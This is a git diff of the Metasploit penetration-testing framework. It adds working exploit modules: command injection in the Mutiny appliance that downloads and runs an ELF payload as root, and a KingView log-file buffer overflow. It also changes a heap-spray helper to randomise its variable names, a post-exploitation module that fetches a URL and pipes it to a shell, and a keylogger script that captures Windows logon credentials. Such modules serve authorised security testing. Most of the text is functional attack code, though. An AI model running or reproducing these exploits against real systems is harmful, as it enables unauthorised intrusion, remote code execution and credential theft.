diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 057d03e537..70666e4e34 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -271,7 +271,7 @@ module Auxiliary::Report File.open(full_path, "wb") { |fd| fd.write(data) } # This will probably evolve into a new database table - framework.db.report_note( + report_note( :data => full_path.dup, :type => "#{ltype}.localpath" ) diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb index e0213ec315..c8ee856032 100644 --- a/lib/msf/core/auxiliary/web/path.rb +++ b/lib/msf/core/auxiliary/web/path.rb @@ -22,9 +22,6 @@ class Path < Fuzzable # URL String to which to submit the params attr_accessor :action - # Injected value as a String - attr_accessor :input - # Mdm::WebForm model if available attr_accessor :model @@ -48,8 +45,15 @@ class Path < Fuzzable def input=( value ) @inputs = value.to_s.dup end + def input + @inputs + end alias :param :input + def method + 'GET' + end + # # Examples # @@ -104,7 +108,7 @@ class Path < Fuzzable # def permutations return [] if empty? - seeds_for( value ).map { |seed| permutation_for( nil, seed ) }.uniq + fuzzer.seeds_for( altered_value ).map { |seed| permutation_for( nil, seed ) }.uniq end def permutation_for( field_name, field_value ) @@ -118,7 +122,7 @@ class Path < Fuzzable end def self.from_model( form ) - e = new( :action => "#{form.path}?#{form.query}", :input => form.inputs[0][1] ) + e = new( :action => "#{form.path}?#{form.query}", :input => form.params[0][1] ) e.model = form e end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index b8bdf3ca59..16a7b4e89a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -798,7 +798,7 @@ protected # publication on "DEPS – Precise Heap Spray on Firefox and IE10". # # The "sprayHeap" JavaScript function supports the following arguments: - # shellcode => The shellcode to spray in JavaScript. + # shellcode => The shellcode to spray in JavaScript. Note: Avoid null bytes. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 # heapBlockSize => Optional. Allocation size, default: 0x80000 @@ -813,8 +813,9 @@ protected # # def js_property_spray + sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5) js = %Q| - var div_container; + var #{sym_div_container}; function sprayHeap( oArg ) { shellcode = oArg.shellcode; @@ -830,13 +831,13 @@ protected if (offset > 0x800) { throw "Bad alignment"; } - div_container = document.getElementById(objId); + #{sym_div_container} = document.getElementById(objId); - if (div_container == null) { - div_container = document.createElement("div"); + if (#{sym_div_container} == null) { + #{sym_div_container} = document.createElement("div"); } - div_container.style.cssText = "display:none"; + #{sym_div_container}.style.cssText = "display:none"; var data; junk = unescape("%u2020%u2020"); while (junk.length < offset+0x1000) junk += junk; @@ -850,7 +851,7 @@ protected { var obj = document.createElement("button"); obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); + #{sym_div_container}.appendChild(obj); } } | diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 1f438ac858..233570e795 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -51,6 +51,10 @@ class Metasploit3 < Msf::Auxiliary OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']), ], self.class) + register_advanced_options([ + OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']), + ], self.class) + deregister_options('RHOST') end @@ -60,8 +64,8 @@ class Metasploit3 < Msf::Auxiliary # This is the main controle method def run_host(ip) - text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" - bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" + text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt" + bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat" @smbshare = datastore['SMBSHARE'] @ip = ip diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb new file mode 100644 index 0000000000..2577750369 --- /dev/null +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -0,0 +1,270 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Mutiny Remote Command Execution', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability in the + Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In order to exploit + the vulnerability the mutiny user must have access to the admin interface. The + injected commands are executed with root privileges. This module has been tested + successfully on Mutiny 4.2-1.05. + }, + 'Author' => + [ + 'Christopher Campbell', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-3001'], + ['OSVDB', '86570'], + ['BID', '56165'], + ['US-CERT-VU', '841851'], + ['URL', 'http://obscuresecurity.blogspot.com.es/2012/10/mutiny-command-injection-and-cve-2012.html'] + ], + 'Privileged' => true, + 'Platform' => [ 'unix', 'linux' ], + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 4000 + }, + 'Targets' => + [ + [ 'Unix CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + #'Payload' => + # { + # 'Compat' => + # { + # 'PayloadType' => 'cmd', + # 'RequiredCmd' => 'python' + # } + # }, + } + ], + [ 'Linux Payload', + { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } + ] + ], + 'DisclosureDate' => 'Oct 22 2012', + 'DefaultTarget' => 1)) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'The base path to Mutiny', '/interface/' ]), + OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'mutiny' ]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def lookup_lhost() + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address('50.50.50.50') + else + datastore['SRVHOST'] + end + end + + def on_new_session(session) + cmds = [] + cmds = [ + %Q|echo #{@netmask_eth0} > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, + %Q|tr -d "\\n\\r" < /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask > /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak|, + %Q|mv -f /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask.bak /opt/MUTINYJAVA/nemobjects/config/interface/eth0/0/netmask|, + %Q|sed -e s/NETMASK=.*/NETMASK=#{@netmask_eth0}/ ifcfg-eth0 > ifcfg-eth0.bak|, + %Q|mv -f ifcfg-eth0.bak ifcfg-eth0|, + %Q|/etc/init.d/network restart| + ] unless not @netmask_eth0 + cmds << %Q|rm /tmp/#{@elfname}.elf| unless target.name =~ /CMD/ + + print_status("#{peer} - Restoring Network Information and Cleanup...") + begin + session.shell_command_token(cmds.join(" ; ")) + rescue + print_error("#{peer} - Automatic restore and cleanup didn't work, please use these commands:") + cmds.each { |cmd| + print_warning(cmd) + } + end + print_good("#{peer} - Restoring and Cleanup successful") + end + + def start_web_service + print_status("#{peer} - Setting up the Web Service...") + + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + resource_uri = '/' + @elfname + '.elf' + service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" + + print_status("#{peer} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + datastore['SSL'] = true if ssl_restore + + return service_url + end + + # wait for the data to be sent + def wait_linux_payload + print_status("#{peer} - Waiting for the victim to request the ELF payload...") + + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + end + end + + #print_status("#{peer} - Giving time to the payload to execute...") + #select(nil, nil, nil, 20) unless session_created? + + print_status("#{peer} - Shutting down the web service...") + stop_service + end + + # Handle incoming requests from the target + def on_request_uri(cli, request) + vprint_status("#{peer} - on_request_uri called, #{request} requested") + + if (not @elf_data) + print_error("#{peer} - A request came in, but the ELF archive wasn't ready yet!") + return + end + + print_good("#{peer} - Sending the ELF payload to the target...") + @elf_sent = true + send_response(cli, @elf_data) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'logon.jsp'), + }) + + if res and res.body =~ /: Mutiny : Login @ mutiny/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + def exploit + + print_status("#{peer} - Login with the provided credentials...") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'logon.do'), + 'vars_post' => + { + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + }) + + if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/ + print_good("#{peer} - Login successful") + session = $1 + else + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to login in Mutiny") + end + + print_status("#{peer} - Leaking current Network Information...") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'), + 'cookie' => "JSESSIONID=#{session}", + }) + + if res and res.code == 200 and res.body =~ /Ethernet Interfaces/ + adress_eth0 = (res.body =~ // ? $1 : "") + @netmask_eth0 = (res.body =~ // ? $1 : "") + gateway = (res.body =~ // ? $1 : "") + dns_address = (res.body =~ // ? $1 : "") + static_route_address = (res.body =~ // ? $1 : "") + static_route_netmask = (res.body =~ // ? $1 : "") + static_route_gateway = (res.body =~ // ? $1 : "") + print_good("#{peer} - Information leaked successfully") + else + print_error("#{peer} - Error leaking information, trying to exploit with random values") + end + + if target.name =~ /CMD/ + injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) + injection << "; #{payload.encoded}" + else + print_status("#{peer} - Generating the ELF Payload...") + @elf_data = generate_payload_exe + @elfname = Rex::Text.rand_text_alpha(3+rand(3)) + service_url = start_web_service + injection = @netmask_eth0.dup || rand_text_alpha(5 + rand(3)) + injection << "; lynx -source \"#{service_url}\" > /tmp/#{@elfname}.elf" + injection << "; chmod +x /tmp/#{@elfname}.elf" + injection << "; /tmp/#{@elfname}.elf" + + end + + print_status("#{peer} - Exploiting Command Injection...") + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'cgi-bin', 'netconfig'), + 'cookie' => "JSESSIONID=#{session}", + 'vars_post' => + { + "addresseth0" => adress_eth0 || rand_text_alpha(5 + rand(3)), + "netmasketh0" => injection, + "Gateway" => gateway || rand_text_alpha(5 + rand(3)), + "dnsaddress0" => dns_address || rand_text_alpha(5 + rand(3)), + "staticRouteAddress" => static_route_address || rand_text_alpha(5 + rand(3)), + "staticRouteNetmask" => static_route_netmask || rand_text_alpha(5 + rand(3)), + "staticRouteGateway" => static_route_gateway || rand_text_alpha(5 + rand(3)) + } + }, 1) + + if target.name =~ /Linux Payload/ + wait_linux_payload + end + end + + + +end diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb new file mode 100644 index 0000000000..1912cea43d --- /dev/null +++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -0,0 +1,86 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info={}) + super(update_info(info, + 'Name' => "KingView Log File Parsing Buffer Overflow", + 'Description' => %q{ + This module exploits a vulnerability found in KingView <= 6.55. It exists in + the KingMess.exe application when handling log files, due to the insecure usage of + sprintf. This module uses a malformed .kvl file which must be opened by the victim + via the KingMess.exe application, through the 'Browse Log Files' option. The module + has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over + Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Lucas Apa', # Vulnerability discovery + 'Carlos Mario Penagos Hollman', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2012-4711'], + ['OSVDB', '89690'], + ['BID', '57909'], + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf'] + ], + 'Payload' => + { + 'Space' => 1408, + 'DisableNops' => true, + 'BadChars' => "\x00\x0a\x0d", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3', + { + 'Offset' => 295, + 'Ret' => 0x77c35459 # push esp # ret # msvcrt.dll + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 20 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The filename', 'msf.kvl']) + ], self.class) + end + + def exploit + version = "6.00" + version << "\x00" * (0x90 - version.length) + entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01" + entry << rand_text_alpha(target['Offset']) + entry << [target.ret].pack("V") + entry << rand_text_alpha(16) + entry << payload.encoded + + kvl_file = version + kvl_file << entry + + file_create(kvl_file) + end +end + diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index 6c3b56a70c..cf72c4bb12 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -82,7 +82,22 @@ class Metasploit3 < Msf::Post @ssl_option = "--no-check-certificate" return end + end + def search_shell + print_status("Checking if bash exists in the path...") + if exists_exe?("bash") + print_good("bash available, using it") + @shell = "bash" + return + end + + print_status("Checking if sh exists in the path...") + if exists_exe?("sh") + print_good("sh available, using it") + @shell = "sh" + return + end end def run @@ -93,10 +108,17 @@ class Metasploit3 < Msf::Post return end + search_shell + + if not @shell + print_warning("neither bash nor sh available in the $PATH, aborting...") + return + end + if datastore['URL'].match(/https/) - cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which bash` ") + cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ") else - cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which bash` ") + cmd_exec_vprint("`which #{@http_client}` #{@stdout_option} #{datastore['URL']} 2>/dev/null | `which #{@shell}` ") end end diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index e620d4cd83..0bddc5cdc5 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,6 +1,7 @@ # $Id$ # $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com +# Updates by Shellster #------------------------------------------------------------------------------- session = client # Script Options @@ -8,7 +9,8 @@ session = client "-h" => [ false, "Help menu." ], "-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ], "-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ], - "-l" => [ false, "Lock screen when capturing Winlogon credentials."] + "-l" => [ false, "Lock screen when capturing Winlogon credentials."], + "-k" => [ false, "Kill old Process"] ) def usage print_line("Keylogger Recorder Meterpreter Script") @@ -50,7 +52,7 @@ def lock_screen end end #Function to Migrate in to Explorer process to be able to interact with desktop -def explrmigrate(session,captype,lock) +def explrmigrate(session,captype,lock,kill) #begin if captype.to_i == 0 process2mig = "explorer.exe" @@ -73,6 +75,16 @@ def explrmigrate(session,captype,lock) print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") + + if (kill) + begin + print_status("Killing old process") + client.sys.process.kill(mypid) + print_status("Old process killed.") + rescue + print_status("Failed to kill old process.") + end + end end end return true @@ -125,7 +137,10 @@ def write_keylog_data session, logfile end sleep(2) - file_local_write(logfile,"#{outp}\n") + + if(outp.length > 0) + file_local_write(logfile,"#{outp}\n") + end end # Function for Collecting Capture @@ -133,6 +148,8 @@ def keycap(session, keytime, logfile) begin rec = 1 #Creating DB for captured keystrokes + file_local_write(logfile,"") + print_status("Keystrokes being saved in to #{logfile}") #Inserting keystrokes every number of seconds specified print_status("Recording ") @@ -157,6 +174,8 @@ end helpcall = 0 lock = false +kill = false + @@exec_opts.parse(args) { |opt, idx, val| case opt when "-t" @@ -167,10 +186,12 @@ lock = false usage when "-l" lock = true + when "-k" + kill = true end } if client.platform =~ /win32|win64/ - if explrmigrate(session,captype,lock) + if explrmigrate(session,captype,lock, kill) if startkeylogger(session) keycap(session, keytime, logfile) end